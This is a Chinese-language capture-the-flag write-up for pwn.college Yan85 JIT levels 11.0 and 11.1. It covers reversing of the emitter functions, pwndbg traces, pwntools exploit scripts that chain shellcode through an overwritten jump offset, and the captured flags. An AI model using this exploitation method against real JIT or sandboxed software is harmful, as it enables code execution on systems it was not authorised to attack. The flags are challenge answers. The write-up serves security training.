0x0000000001337000 | 49 ba 00 00 00 00 00 00 00 00 | movabs r10 , 0
0x000000000133700a | 49 bb 00 00 00 00 00 00 00 00 | movabs r11 , 0
0x0000000001337014 | 49 bc 00 00 00 00 00 00 00 00 | movabs r12 , 0
0x000000000133701e | 49 bd 00 00 00 00 00 00 00 00 | movabs r13 , 0
0x0000000001337028 | 49 be 00 00 00 00 00 00 00 00 | movabs r14 , 0
0x0000000001337032 | 49 bf 00 00 00 00 00 00 00 00 | movabs r15 , 0
0x000000000133703c | 49 b9 00 00 00 00 00 00 00 00 | movabs r9 , 0
进入循环体内部,*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
负责计算当前指令相对于 v11
的偏移,单位是字节。
之后 for
循环默认会生成 256 条占位指令(如果你没有输入任何 yancode)。结果差不多是下面这样,每隔一条指令 arg2 这个立即数增加 0x1:
0x0000000001337046 | 49 c7 c1 00 00 00 00 | mov r9 , 0
0x000000000133704d | 49 c7 c1 01 00 00 00 | mov r9 , 1
0x0000000001337054 | 49 c7 c1 02 00 00 00 | mov r9 , 2
0x0000000001337731 | 49 c7 c1 fd 00 00 00 | mov r9 , 0xfd
0x0000000001337738 | 49 c7 c1 fe 00 00 00 | mov r9 , 0xfe
0x000000000133773f | 49 c7 c1 ff 00 00 00 | mov r9 , 0xff
接下来,就是我们最关心的 yancode 如何解析了。为了方便查阅理解,这里把调用部分单独贴出来:
for ( i = 0 ; i <= 255 ; ++ i )
* ( _QWORD * )( a1 + 8 * ( i + 1024 LL ) + 8 ) = ( char * ) v12 - * ( _QWORD * )( a1 + 0x 2000 );
printf ( "[e] instruction %d to %p (offset %#x from base) \n " , i , v12 , * ( _QWORD * )( a1 + 8 * ( i + 1024 LL ) + 8 ));
v12 = ( _QWORD * ) emit_instruction (
* ( _QWORD * )( a1 + 24 LL * i ),
* ( _QWORD * )( a1 + 24 LL * i + 8 ),
* ( _QWORD * )( a1 + 24 LL * i + 16 )
(int)v13 + 4
代表下一条指令的起始地址。*(_QWORD *)(a1 + 24LL * i + 16)
是 a9
,观察下面的 emit_instruction
的具体实现我们知道程序通过这个参数来判断需要把 yancode 解析成什么指令,所以它就是 opcode 位。
__int64 __fastcall emit_instruction (
__int64 v10 ; // [rsp+0h] [rbp-10h]
v10 = emit_imm ( a1 , a2 , a2 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_add ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_stk ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_stm ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_ldm ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_cmp ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
v10 = emit_jmp ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
emit_sys ( a1 , v10 , v10 , a4 , a5 , a6 , a7 , a8 );
就以 imm
为例吧,首先得满足 (*(_QWORD *)(a1 + 24LL * i + 16) & 40) != 0
,那就是 b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
;-; 我也不知道是不是应该写出来,但是真的好长啊……
__int64 __fastcall emit_imm (
_QWORD * v10 ; // [rsp+0h] [rbp-20h]
v8 = ( const char * ) describe_register ( a7 );
printf ( "[e] compiling IMM %s = %#hhx to %p \n " , v8 , a8 , a2 );
v10 = helper_mov_imm ( a1 , a2 , a7 , a8 );
return helper_jmp_i ( a1 , v10 );
然后注意到 (const char *)describe_register(a7)
,说明 a7
,也就是 *(_QWORD *)(a1 + 24LL * i)
代表寄存器,结合下面的 printf
可知它是 arg1。a8
,也就是 *(_QWORD *)(a1 + 24LL * i + 8)
代表 arg2,是一个立即数。
那么最终 yancode 格式应该是 arg1, arg2, opcode
这样的,注意每个参数位都是一个 QWORD
。
__int64 __fastcall emit_imm (
__int64 v10 ; // [rsp+0h] [rbp-20h]
v8 = ( const char * ) describe_register ( a7 );
printf ( "[e] compiling IMM %s = %#hhx to %p \n " , v8 , a8 , a2 );
v10 = helper_mov_imm ( a1 , a2 , a7 , a8 );
return helper_jmp_i ( a1 , v10 );
九个参数看着挺吓人的,实际上还好啦~
通过讲义的学习我们知道,攻击思路大致应该是将 shellcode 写到变量里面,然后利用 jmp
跳转到变量内部执行我们的 shellcode。
所以我们用到的指令应该有 imm
、stm
、jmp
。
先来看看 jmp
指令的实现:
__int64 __fastcall emit_jmp (
v8 = ( const char * ) describe_register ( a8 );
v9 = ( const char * ) describe_flags ( a7 );
printf ( "[e] compiling JMP %s %s to %p \n " , v9 , v8 , a2 );
crash ( a1 , "conditional jumps not supported in JIT mode" );
v10 = helper_combo_byte ( a1 , a2 + 2 , 1 LL , a8 );
return helper_jmp_i ( a1 , v10 );
跳转条件被禁了,所以 arg1 对我们来说是没用的,需要设置为 0。那么 jmp
的格式就是 jmp * reg
了。
helper_combo_byte(a1, a2 + 2, 1LL, a8)
的作用是将 yancode 中 arg2 代表的寄存器转换为 amd64 寄存器对应的机器码。而上面的两条代码负责生成将转换后得到的寄存器的值移动到 r9
中的机器码:
所以最后会生成类似这样的一条指令:
附上 helper_combo_byte
的内部实现:
_BYTE * __fastcall helper_combo_byte ( __int64 a1 , _BYTE * a2 , __int64 a3 , __int64 a4 )
if ( a3 == 32 && a4 == 32 )
else if ( a3 == 32 && a4 == 64 )
else if ( a3 == 32 && a4 == 16 )
else if ( a3 == 32 && a4 == 8 )
else if ( a3 == 32 && a4 == 2 )
else if ( a3 == 32 && a4 == 1 )
else if ( a3 == 32 && a4 == 4 )
else if ( a3 == 64 && a4 == 32 )
else if ( a3 == 64 && a4 == 64 )
else if ( a3 == 64 && a4 == 16 )
else if ( a3 == 64 && a4 == 8 )
else if ( a3 == 64 && a4 == 2 )
else if ( a3 == 64 && a4 == 1 )
else if ( a3 == 64 && a4 == 4 )
else if ( a3 == 16 && a4 == 32 )
else if ( a3 == 16 && a4 == 64 )
else if ( a3 == 16 && a4 == 16 )
else if ( a3 == 16 && a4 == 8 )
else if ( a3 == 16 && a4 == 2 )
else if ( a3 == 16 && a4 == 1 )
else if ( a3 == 16 && a4 == 4 )
else if ( a3 == 8 && a4 == 32 )
else if ( a3 == 8 && a4 == 64 )
else if ( a3 == 8 && a4 == 16 )
else if ( a3 == 8 && a4 == 8 )
else if ( a3 == 8 && a4 == 2 )
else if ( a3 == 8 && a4 == 1 )
else if ( a3 == 8 && a4 == 4 )
else if ( a3 == 2 && a4 == 32 )
else if ( a3 == 2 && a4 == 64 )
else if ( a3 == 2 && a4 == 16 )
else if ( a3 == 2 && a4 == 8 )
else if ( a3 == 2 && a4 == 2 )
else if ( a3 == 2 && a4 == 1 )
else if ( a3 == 2 && a4 == 4 )
else if ( a3 == 1 && a4 == 32 )
else if ( a3 == 1 && a4 == 64 )
else if ( a3 == 1 && a4 == 16 )
else if ( a3 == 1 && a4 == 8 )
else if ( a3 == 1 && a4 == 2 )
else if ( a3 == 1 && a4 == 1 )
else if ( a3 == 1 && a4 == 4 )
else if ( a3 == 4 && a4 == 32 )
else if ( a3 == 4 && a4 == 64 )
else if ( a3 == 4 && a4 == 16 )
else if ( a3 == 4 && a4 == 8 )
else if ( a3 == 4 && a4 == 2 )
else if ( a3 == 4 && a4 == 1 )
if ( a3 != 4 || a4 != 4 )
crash ( a1 , "Unkown register combination in helper_combo_byte" );
helper_jmp_i(a1, v10)
生成的代码是:
movabs rax , 0x7fff791f5478
其内部实现如下:
__int64 __fastcall helper_jmp_i ( __int64 a1 , __int64 a2 )
* ( _BYTE * )( a2 + 1 ) = 0x 89 ;
* ( _BYTE * )( a2 + 2 ) = 0x C8 ;
* ( _BYTE * )( a2 + 3 ) = 0x 49 ;
* ( _BYTE * )( a2 + 4 ) = 0x C1 ;
* ( _BYTE * )( a2 + 5 ) = 0x E0 ;
* ( _BYTE * )( a2 + 7 ) = 0x 48 ;
* ( _BYTE * )( a2 + 8 ) = 0x B8 ;
* ( _QWORD * )( a2 + 9 ) = a1 + 0x 2008 ;
* ( _BYTE * )( a2 + 17 ) = 0x 49 ;
* ( _BYTE * )( a2 + 19 ) = 0x C0 ;
* ( _BYTE * )( a2 + 20 ) = 0x 4D ;
* ( _BYTE * )( a2 + 21 ) = 0x 8B ;
* ( _BYTE * )( a2 + 23 ) = 0x 48 ;
* ( _BYTE * )( a2 + 24 ) = 0x B8 ;
* ( _QWORD * )( a2 + 25 ) = * ( _QWORD * )( a1 + 0x 2000 );
* ( _BYTE * )( a2 + 33 ) = 0x 49 ;
* ( _BYTE * )( a2 + 35 ) = 0x C0 ;
* ( _BYTE * )( a2 + 36 ) = 0x 41 ;
* ( _BYTE * )( a2 + 37 ) = 0x FF ;
* ( _BYTE * )( a2 + 38 ) = 0x E0 ;
大致逻辑就是以 a1 + 0x2008
为基地址,reg 左移三位的值为偏移的这个位置处的 QWORD 移动到 r8
,并以 *(_QWORD *)(a1 + 0x2000)
,也就是 0x1337000
为基,r8
为偏移,跳转到 r8
处执行。所以我们只要控制 r8
为 shellcode 的偏移就好了。
因为有之前 Yan85 的经验,我们知道 stm
可以用于设置寄存器指向的地址的值,所以:
__int64 __fastcall emit_stm (
v8 = ( const char * ) describe_register ( a8 );
v9 = ( const char * ) describe_register ( a7 );
printf ( "[e] compiling STM *%s = %s to %p \n " , v9 , v8 , a2 );
r8 = helper_load_r8 ( a1 , a2 , a7 );
return helper_store_mem ( a1 , r8 , a8 );
r8 = helper_load_r8(a1, a2, a7);
的作用是将 arg1 寄存器的值加载到 r8
中。变量 r8
存储的是下一条指令的起始地址。
helper_store_mem(a1, r8, a8)
的作用是先将 a1 + 0x1800
的地址写入 rax
,然后 r8 = r8 + rax
得到要写入的位置,最后将 arg2 寄存器的 QWORD 值写入到 [r8]
。
所以 stm
实际实现了下面这些指令:
movabs rax , 0x7ffc4b50d840
相信敏锐的你已经发现了,通过 stm
直接可以控制 jmp
的跳转偏移!
之前我们分析出编译出来的 amd64 代码在 a1 + 0x2000
处,而这里 stm
是以 a1 + 0x1800
为基址的,所以我们需要计算一下它们之间相距多少:
────────────────────────────────────────────────────────────────────[ DISASM / x86- 64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x133704d movabs r10 , 0 R10 => 0
0x1337057 mov r9 , 1 R9 => 1
0x133705e movabs r11 , 0x76 R11 => 0x76
0x1337068 mov r9 , 2 R9 => 2
0x133706f mov r8 , r10 R8 => 0
► 0x1337072 movabs rax , 0x7ffc436fde60 RAX => 0x7ffc436fde60 ◂— 0
0x133707c add r8 , rax R8 => 0x7ffc436fde60 ( 0x0 + 0x7ffc436fde60 )
0x133707f mov qword ptr [ r8 ], r11 [ 0x7ffc436fde60 ] => 0x76
0x1337082 mov r9 , 3 R9 => 3
0x1337089 mov r9 , r10 R9 => 0
0x133708c mov r8 , r9 R8 => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00 : 0000 │ rsp 0x7ffc436fc638 —▸ 0x604e8e832312 (main+ 630 ) ◂— mov eax , 0
01 : 0008 │ 0x7ffc436fc640 —▸ 0x7ffc436fef98 —▸ 0x7ffc436ff629 ◂— '/home/cub3y0nd/Projects/pwn.college/toddlerone-level- 11 - 0 '
02 : 0010 │ 0x7ffc436fc648 ◂— 0x100000000
03 : 0018 │ 0x7ffc436fc650 ◂— 0
04 : 0020 │ 0x7ffc436fc658 —▸ 0x13377b6 ◂— add byte ptr [ rax ], al
05 : 0028 │ 0x7ffc436fc660 ◂— 0x20 /* ' ' */
06 : 0030 │ 0x7ffc436fc668 ◂— 0
07 : 0038 │ 0x7ffc436fc670 ◂— 0x40 /* '@' */
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
1 0x604e8e832312 main+ 630
3 0x7963bbc34ecc __libc_start_main+ 140
4 0x604e8e8302ae _start+ 46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x 0x2000 - 0x1800
pwndbg> x/10gx 0x7ffc436fde60 + 0x800
0x7ffc436fe660 : 0x0000000001337000 0x0000000000000046
0x7ffc436fe670 : 0x0000000000000057 0x0000000000000068
0x7ffc436fe680 : 0x0000000000000082 0x00000000000000b3
0x7ffc436fe690 : 0x00000000000000c4 0x00000000000000d5
0x7ffc436fe6a0 : 0x00000000000000e6 0x00000000000000ed
所以,只要控制偏移为 0x808
处的值为 shellcode 的偏移即可。
那我们的 yancode 就可以设计为:
因为 shellcode 用一个变量肯定存不下,所以我们需要把各个部分分开写到多个变量中,之间通过 jmp
来实现连续的控制流。
小小 JIT 不过如此嘛~
至此,既然攻击链都出来了,那这个虚拟机还剩下的一些细枝末节我就懒得分析了,直接开写 exp。
from pwn import ELF , asm , context , gdb , log , p64 , process , remote
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-11-0"
HOST , PORT = "localhost" , 1337
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
/* chmod(file='f', mode=4) */
yancode = p64 ( 0x 20 ) + p64 ( 0x 808 ) + p64 ( 0x 40 ) # imm a, 0x808
yancode += p64 ( 0x 40 ) + p64 ( 0x CD ) + p64 ( 0x 40 ) # imm b, 0xcd
yancode += p64 ( 0x 20 ) + p64 ( 0x 40 ) + p64 ( 0x 10 ) # stm a, b
yancode += p64 ( 0x 20 ) + p64 ( 0x 00 ) + p64 ( 0x 40 ) # imm a, 0x00
yancode += p64 ( 0x 00 ) + p64 ( 0x 20 ) + p64 ( 0x 08 ) # jmp *, a
p64 ( 0x 20 ) + asm ( "push 0x66; mov rdi, rsp; nop; jmp $+0xb" ) + p64 ( 0x 40 )
p64 ( 0x 20 ) + asm ( "push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb" ) + p64 ( 0x 40 )
p64 ( 0x 20 ) + asm ( "pop rax; syscall" ) + asm ( "nop" ) * 0x 5 + p64 ( 0x 40 )
def attack ( target , payload ):
target . sendafter ( b "Please input your yancode: " , payload )
target . recvall ( timeout = 3 )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{MCXoFb-q4KUhm1mE_Yk7XCDiZZa.0VOzMDL5cTNxgzW}
The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!
参见 Level 11.0 。
from pwn import ELF , asm , context , gdb , log , p64 , process , remote
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-11-1"
HOST , PORT = "localhost" , 1337
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
/* chmod(file='f', mode=4) */
yancode = p64 ( 0x 10 ) + p64 ( 0x 08 ) + p64 ( 0x 808 ) # imm a, 0x808
yancode += p64 ( 0x 10 ) + p64 ( 0x 02 ) + p64 ( 0x CD ) # imm b, 0xcd
yancode += p64 ( 0x 02 ) + p64 ( 0x 08 ) + p64 ( 0x 02 ) # stm a, b
yancode += p64 ( 0x 10 ) + p64 ( 0x 08 ) + p64 ( 0x 00 ) # imm a, 0x00
yancode += p64 ( 0x 08 ) + p64 ( 0x 00 ) + p64 ( 0x 08 ) # jmp *, a
p64 ( 0x 10 ) + p64 ( 0x 08 ) + asm ( "push 0x66; mov rdi, rsp; nop; jmp $+0xb" )
p64 ( 0x 10 ) + p64 ( 0x 08 ) + asm ( "push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb" )
p64 ( 0x 10 ) + p64 ( 0x 08 ) + asm ( "pop rax; syscall" ) + asm ( "nop" ) * 0x 5
def attack ( target , payload ):
target . sendafter ( b "Please input your yancode: " , payload )
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
target = launch ( debug = False )
payload = construct_payload ()
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{Ya3vfImP22Fzv4tZpHMBD5iDj_H.0FM0MDL5cTNxgzW}
又是打了十八天,终于可以开启我心心念念朝思暮想曾多次想放弃却从未开启的下一章了 LMAO